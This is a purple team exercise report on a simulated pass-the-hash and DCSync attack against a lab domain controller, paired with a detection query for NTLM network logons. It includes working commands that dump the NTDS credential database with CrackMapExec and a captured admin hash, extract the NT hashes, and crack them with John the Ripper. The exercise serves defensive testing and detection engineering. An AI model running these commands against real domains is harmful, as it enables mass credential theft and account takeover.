Purple Team Lifecycle

Overall
Status: **Completed**

PB1160 – NTDS Hijack / Password Cracking / Credential Dumping via DCSync T1003

Lifecycle Project Manager
Kent Ickler
Office: 605-939-0331
Email: kent@defensiveorigins.com

- ● Lifecycle Kickoff: 2/1/2021
- ● Simulation Start: 2/3/2021
- ● Simulation End: 2/6/2021
- ● Configuration Identified: 11/29/2020
- ● Change Management Referred: 2/6/2021
- ● Configuration Deployed: TBD

Status Code Legend

● Attack Simulation	● System Configuration Change
● Defense Simulation	● Information

APT Lifecycle Ingest and Research

- ● Lifecycle Type: **Attack Simulation**
- ● Lifecycle Objective: **Alert**

● Ingest Source: Atomic Purple Teaming L1160
MITRE: T1550.002 – Pass The hash
● https://attack.mitre.org/techniques/T1550/002/
MITRE: T1003.006 - DCSync
● https://attack.mitre.org/techniques/T1003/006/

- ● Launch CME to replay a previously identified administrative hash to the domain controller to capture NTDS directory service credential database. Use John to crack the passwords. Hunt for the pass-the-hash event.

Attack methodology

- ● Use CME to pass the hash to a previous captured account to the domain controller.

```
python3.8 cme smb 10.10.98.10 -u itadmin -H e69b30df68c450aad94e3889274721f1 --ntds >
domain-NTDS
```

- ● Prepare file for password cracking

```
cat domain-NTDS |grep aad3b4 |grep -Fv '$' |grep -Fv '+' > cme-domain-Hashes
head cme-domain-Hashes
tr -s " " < cme-domain-Hashes |cut -d ":" -f4 > NTLM-Hashes
head NTLM-Hashes
```

- ● Crack passwords

```
./john /opt/CrackMapExec/NTLM-Hashes --mask=Badpass?d?d?d?d?d --format=NT --
pot=cracked.pot
```

Defense methodology

- ● Hunt: Hunt for event_id 4624. Identify the specific triggered events and begin to further drill down logs.
- ● Defense against password cracking involves limiting the use of insecure passwords and insecure password hashing algorithms. These are covered in other lifecycles.
  MITRE: M1027: https://attack.mitre.org/mitigations/M1027/

Lifecycle Adjustments

- ● Hunting involved multiple query steps. Hunting for 4624 was insufficient on its own.
- ● Criteria:

```
event_code: 4624
user_reporter_sid: S-1-0-0
logon_process_name: ntlmssp
logon_type: 3 # network logon
```

This query now produces a very reliable indication that an account authenticated via NTLMSSP as NULL/NOBODY. Toggling the user_name and winlog.computer_name fields as columns produces a strong indication of potential abuse or compromise.

	Packets were also captured on the network and exchanges between attacker and DC were analyzed. This attack could potentially be captured at network boundaries via IDS/IPS mechanisms. Consider implementing strong network segmentation and controls.
Change Management	● Deploy identified query to production SIEM stack, add alerting where necessary. ● Affected users: Security Team to receive notifications of Pass-The-Hash events ● Rollback: Remove log query and alert from SIEM.
Lessons Learned	● CME utilizes PassTheHash techniques and the authentication logs generated represent the user_reporter_sid: S-1-0-0